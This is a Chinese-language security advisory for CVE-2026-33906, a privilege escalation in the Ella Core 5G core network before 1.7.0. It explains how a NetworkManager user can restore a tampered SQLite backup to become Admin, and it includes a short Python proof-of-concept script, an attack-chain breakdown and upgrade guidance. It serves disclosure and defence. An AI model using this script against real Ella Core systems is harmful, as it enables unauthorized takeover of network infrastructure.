IPBUF安全漏洞报告
English
CVE-2026-33906 CVSS 7.2 高危

CVE-2026-33906 Ella Core权限提升漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-33906
漏洞类型
权限提升
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Ella Core

相关标签

权限提升Ella Core5G Core数据库安全不安全的文件上传

漏洞概述

Ella Core是专为私有网络设计的5G核心网。在1.7.0版本之前,NetworkManager角色拥有备份和恢复权限。由于恢复端点未验证SQLite文件内容,攻击者可利用此漏洞上传篡改后的数据库文件,从而将自身权限提升为管理员,获取原本被拒绝访问的用户管理、审计日志等敏感功能。

技术细节

该漏洞的核心在于Ella Core的恢复端点存在逻辑缺陷。在受影响版本中,NetworkManager角色虽然被限制访问用户管理和审计日志等敏感功能,但系统错误地授予了其备份和恢复数据库的权限。恢复端点仅检查上传文件是否为有效的SQLite格式,而未验证文件内部的数据结构和权限设置。攻击者若获得NetworkManager权限,可构造一个恶意的SQLite数据库文件,在文件中篡改用户表,将自身角色的权限等级提升至Admin。当该文件通过恢复接口上传并加载到生产环境时,系统会直接替换原有数据库,导致攻击者成功绕过访问控制策略,获得系统的最高控制权。

攻击链分析

STEP 1
获取初始权限
攻击者获取NetworkManager角色的凭证,该角色拥有数据库备份和恢复权限。
STEP 2
构造恶意数据库
攻击者在本地创建一个SQLite文件,并修改其中的用户角色表,将NetworkManager对应的角色提升为Admin。
STEP 3
上传恶意文件
攻击者利用恢复接口,将构造好的恶意SQLite数据库文件上传至服务器。
STEP 4
替换生产数据库
服务器端未验证文件内容,直接用恶意数据库覆盖了生产环境数据库。
STEP 5
提权成功
攻击者重新登录或刷新会话,此时系统读取被篡改的数据库,赋予其Admin权限,从而访问敏感功能。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import sqlite3 import requests # 1. Create a malicious SQLite database # Assume the 'users' table stores role information conn = sqlite3.connect('malicious_backup.db') cursor = conn.cursor() # Create a dummy users table structure (hypothetical) cursor.execute('''CREATE TABLE IF NOT EXISTS users (username TEXT, role TEXT)''') # Insert or update the attacker's controlled user to Admin role cursor.execute("INSERT OR REPLACE INTO users (username, role) VALUES ('network_manager', 'Admin')") conn.commit() conn.close() # 2. Upload the malicious database to the restore endpoint # Attacker needs a valid NetworkManager session token target_url = "https://<ella-core-host>/api/v1/restore" auth_token = "<VALID_NETWORK_MANAGER_TOKEN>" headers = { "Authorization": f"Bearer {auth_token}" } files = { 'file': ('backup.db', open('malicious_backup.db', 'rb'), 'application/x-sqlite3') } response = requests.post(target_url, headers=headers, files=files) if response.status_code == 200: print("[+] Database restored successfully. Privilege escalation likely achieved.") else: print(f"[-] Failed to restore database. Status code: {response.status_code}")

影响范围

Ella Core < 1.7.0

防御指南

临时缓解措施
建议立即将Ella Core升级到1.7.0版本,该版本已移除NetworkManager角色的备份和恢复权限。如果无法立即升级,应严格限制NetworkManager账户的使用,并通过网络 ACL 规则限制对数据库恢复 API 端点的访问来源。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表